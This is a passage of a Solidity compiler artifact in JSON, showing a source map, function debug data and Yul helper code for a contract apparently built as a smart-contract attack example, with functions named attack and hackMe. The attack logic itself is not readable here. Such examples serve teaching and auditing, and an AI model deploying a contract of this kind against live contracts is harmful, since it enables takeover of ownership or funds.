"sourceMap": "502:714:0:-:0;;;754:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;808:7;792:6;;:24;;;;;;;;;;;;;;;;;;754:69;502:714;;88:117:1;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:109::-;618:7;647:24;665:5;647:24;:::i;:::-;636:35;;568:109;;;:::o;683:148::-;769:37;800:5;769:37;:::i;:::-;762:5;759:48;749:76;;821:1;818;811:12;749:76;683:148;:::o;837:169::-;907:5;938:6;932:13;923:22;;954:46;994:5;954:46;:::i;:::-;837:169;;;;:::o;1012:377::-;1095:6;1144:2;1132:9;1123:7;1119:23;1115:32;1112:119;;;1150:79;;:::i;:::-;1112:119;1270:1;1295:77;1364:7;1355:6;1344:9;1340:22;1295:77;:::i;:::-;1285:87;;1241:141;1012:377;;;;:::o;502:714:0:-;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@attack_99": {
"entryPoint": 379,
"id": 99,
"parameterSlots": 0,
"returnSlots": 0
},
"@doSomething_110": {
"entryPoint": 686,
"id": 110,
"parameterSlots": 1,
"returnSlots": 0
},
"@hackMe_61": {
"entryPoint": 261,
"id": 61,
"parameterSlots": 0,
"returnSlots": 0
},
"@lib_54": {
"entryPoint": 337,
"id": 54,
"parameterSlots": 0,
"returnSlots": 0
},
"@owner_56": {
"entryPoint": 299,
"id": 56,
"parameterSlots": 0,
"returnSlots": 0
},
"@someNumber_58": {
"entryPoint": 373,
"id": 58,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_decode_t_uint256": {
"entryPoint": 1048,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 1069,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_address_to_t_address_fromStack": {
"entryPoint": 926,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_contract$_HackMe_$52_to_t_address_fromStack": {
"entryPoint": 866,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_rational_1_by_1_to_t_uint256_fromStack": {
"entryPoint": 1158,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 978,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_address__to_t_address__fromStack_reversed": {
"entryPoint": 941,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_contract$_HackMe_$52__to_t_address__fromStack_reversed": {
"entryPoint": 881,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_rational_1_by_1__to_t_uint256__fromStack_reversed": {
"entryPoint": 1173,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 993,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 908,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_rational_1_by_1": {
"entryPoint": 1114,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 754,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 968,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"convert_t_contract$_HackMe_$52_to_t_address": {
"entryPoint": 848,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"convert_t_rational_1_by_1_to_t_uint256": {
"entryPoint": 1124,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"convert_t_uint160_to_t_address": {
"entryPoint": 830,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"convert_t_uint160_to_t_uint160": {
"entryPoint": 796,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"identity": {
"entryPoint": 786,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 1020,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 1025,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:3520:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "52:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "62:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "77:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "84:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "73:3:1"
},
"nodeType": "YulFunctionCall",
"src": "73:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "62:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "34:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "44:7:1",
"type": ""
}
],
"src": "7:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "171:28:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "181:12:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "188:5:1"
},
"variableNames": [
{
"name": "ret",
"nodeType": "YulIdentifier",
"src": "181:3:1"
}
]
}
]
},
"name": "identity",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "157:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "ret",
"nodeType": "YulTypedName",
"src": "167:3:1",
"type": ""
}
],
"src": "139:60:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "265:82:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "275:66:1",
"value": {
"arguments": [
{
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "333:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "315:17:1"
},
"nodeType": "YulFunctionCall",
"src": "315:24:1"
}
],
"functionName": {
"name": "identity",
"nodeType": "YulIdentifier",
"src": "306:8:1"
},
"nodeType": "YulFunctionCall",
"src": "306:34:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "288:17:1"
},
"nodeType": "YulFunctionCall",
"src": "288:53:1"
},
"variableNames": [
{
"name": "converted",
"nodeType": "YulIdentifier",
"src": "275:9:1"
}
]
}
]
},
"name": "convert_t_uint160_to_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "245:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "converted",
"nodeType": "YulTypedName",
"src": "255:9:1",
"type": ""
}
],
"src": "205:142:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "413:66:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "423:50:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "467:5:1"
}
],
"functionName": {
"name": "convert_t_uint160_to_t_uint160",
"nodeType": "YulIdentifier",
"src": "436:30:1"
},
"nodeType": "YulFunctionCall",
"src": "436:37:1"
},
"variableNames": [
{
"name": "converted",
"nodeType": "YulIdentifier",
"src": "423:9:1"
}
]
}
]
},
"name": "convert_t_uint160_to_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "393:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "converted",
"nodeType": "YulTypedName",
"src": "403:9:1",
"type": ""
}
],
"src": "353:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "558:66:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "568:50:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "612:5:1"
}
],
"functionName": {
"name": "convert_t_uint160_to_t_address",
"nodeType": "YulIdentifier",
"src": "581:30:1"
},
"nodeType": "YulFunctionCall",
"src": "581:37:1"
},
"variableNames": [
{
"name": "converted",
"nodeType": "YulIdentifier",
"src": "568:9:1"
}
]
}
]
},
"name": "convert_t_contract$_HackMe_$52_to_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "538:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "converted",
"nodeType": "YulTypedName",
"src": "548:9:1",
"type": ""
}
],
"src": "485:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "708:79:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "725:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "774:5:1"
}
],
"functionName": {
"name": "convert_t_contract$_HackMe_$52_to_t_address",
"nodeType": "YulIdentifier",
"src": "730:43:1"
},
"nodeType": "YulFunctionCall",
"src": "730:50:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "718:6:1"
},
"nodeType": "YulFunctionCall",
"src": "718:63:1"
},
"nodeType": "YulExpressionStatement",
"src": "718:63:1"
}
]
},
"name": "abi_encode_t_contract$_HackMe_$52_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "696:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "703:3:1",
"type": ""
}
],
"src": "630:157:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "904:137:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "914:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "926:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "937:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "922:3:1"
},
"nodeType": "YulFunctionCall",
"src": "922:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "914:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1007:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1020:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1031:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1016:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1016:17:1"
}
],
"functionName": {
"name": "abi_encode_t_contract$_HackMe_$52_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "950:56:1"
},
"nodeType": "YulFunctionCall",
"src": "950:84:1"
},
"nodeType": "YulExpressionStatement",
"src": "950:84:1"
}
]
},
"name": "abi_encode_tuple_t_contract$_HackMe_$52__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "876:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "888:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "899:4:1",
"type": ""
}
],
"src": "793:248:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1092:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1102:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1131:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "1113:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1113:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1102:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1074:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1084:7:1",
"type": ""
}
],
"src": "1047:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1214:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1231:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1254:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "1236:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1236:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1224:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1224:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "1224:37:1"
}
]
},
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1202:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1209:3:1",
"type": ""
}
],
"src": "1149:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1371:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1381:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1393:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1404:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1389:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1389:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1381:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1461:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1474:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1485:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1470:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1470:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "1417:43:1"
},
"nodeType": "YulFunctionCall",
"src": "1417:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "1417:71:1"
}
]
},
"name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1343:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1355:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1366:4:1",
"type": ""
}
],
"src": "1273:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1546:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1556:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1567:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1556:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1528:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1538:7:1",
"type": ""
}
],
"src": "1501:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1649:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1666:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1689:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1671:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1671:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1659:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1659:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "1659:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1637:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1644:3:1",
"type": ""
}
],
"src": "1584:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1806:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1816:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1828:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1839:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1824:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1824:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1816:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1896:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1909:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1920:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1905:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1905:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "1852:43:1"
},
"nodeType": "YulFunctionCall",
"src": "1852:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "1852:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1778:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1790:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1801:4:1",
"type": ""
}
],
"src": "1708:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1976:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1986:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2002:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "1996:5:1"
},
"nodeType": "YulFunctionCall",
"src": "1996:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1986:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1969:6:1",
"type": ""
}
],
"src": "1936:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2106:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2123:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2126:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2116:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2116:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "2116:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "2017:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2229:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2246:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2249:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2239:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2239:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "2239:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "2140:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2306:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2363:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2372:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2375:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2365:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2365:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "2365:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2329:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2354:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2336:17:1"
},
"nodeType": "YulFunctionCall",
"src": "2336:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "2326:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2326:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "2319:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2319:43:1"
},
"nodeType": "YulIf",
"src": "2316:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2299:5:1",
"type": ""
}
],
"src": "2263:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2443:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2453:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "2475:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "2462:12:1"
},
"nodeType": "YulFunctionCall",
"src": "2462:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2453:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2518:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "2491:26:1"
},
"nodeType": "YulFunctionCall",
"src": "2491:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "2491:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "2421:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2429:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2437:5:1",
"type": ""
}
],
"src": "2391:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2602:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2648:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "2650:77:1"
},
"nodeType": "YulFunctionCall",
"src": "2650:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "2650:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "2623:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2632:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "2619:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2619:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2644:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "2615:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2615:32:1"
},
"nodeType": "YulIf",
"src": "2612:119:1"
},
{
"nodeType": "YulBlock",
"src": "2741:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "2756:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "2770:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "2760:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "2785:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2820:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "2831:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2816:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2816:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "2840:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "2795:20:1"
},
"nodeType": "YulFunctionCall",
"src": "2795:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "2785:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "2572:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "2583:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "2595:6:1",
"type": ""
}
],
"src": "2536:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2924:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2934:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "2945:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "2934:7:1"
}
]
}
]
},
"name": "cleanup_t_rational_1_by_1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2906:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "2916:7:1",
"type": ""
}
],
"src": "2871:85:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3030:90:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3040:74:1",
"value": {
"arguments": [
{
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3106:5:1"
}
],
"functionName": {
"name": "cleanup_t_rational_1_by_1",
"nodeType": "YulIdentifier",
"src": "3080:25:1"
},
"nodeType": "YulFunctionCall",
"src": "3080:32:1"
}
],
"functionName": {
"name": "identity",
"nodeType": "YulIdentifier",
"src": "3071:8:1"
},
"nodeType": "YulFunctionCall",
"src": "3071:42:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "3053:17:1"
},
"nodeType": "YulFunctionCall",
"src": "3053:61:1"
},
"variableNames": [
{
"name": "converted",
"nodeType": "YulIdentifier",
"src": "3040:9:1"
}
]
}
]
},
"name": "convert_t_rational_1_by_1_to_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3010:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "converted",
"nodeType": "YulTypedName",
"src": "3020:9:1",
"type": ""
}
],
"src": "2962:158:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3199:74:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3216:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3260:5:1"
}
],
"functionName": {
"name": "convert_t_rational_1_by_1_to_t_uint256",
"nodeType": "YulIdentifier",
"src": "3221:38:1"
},
"nodeType": "YulFunctionCall",
"src": "3221:45:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3209:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3209:58:1"
},
"nodeType": "YulExpressionStatement",
"src": "3209:58:1"
}
]
},
"name": "abi_encode_t_rational_1_by_1_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3187:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3194:3:1",
"type": ""
}
],
"src": "3126:147:1"
},
{
"body": {
"nodeType": "YulBlock",
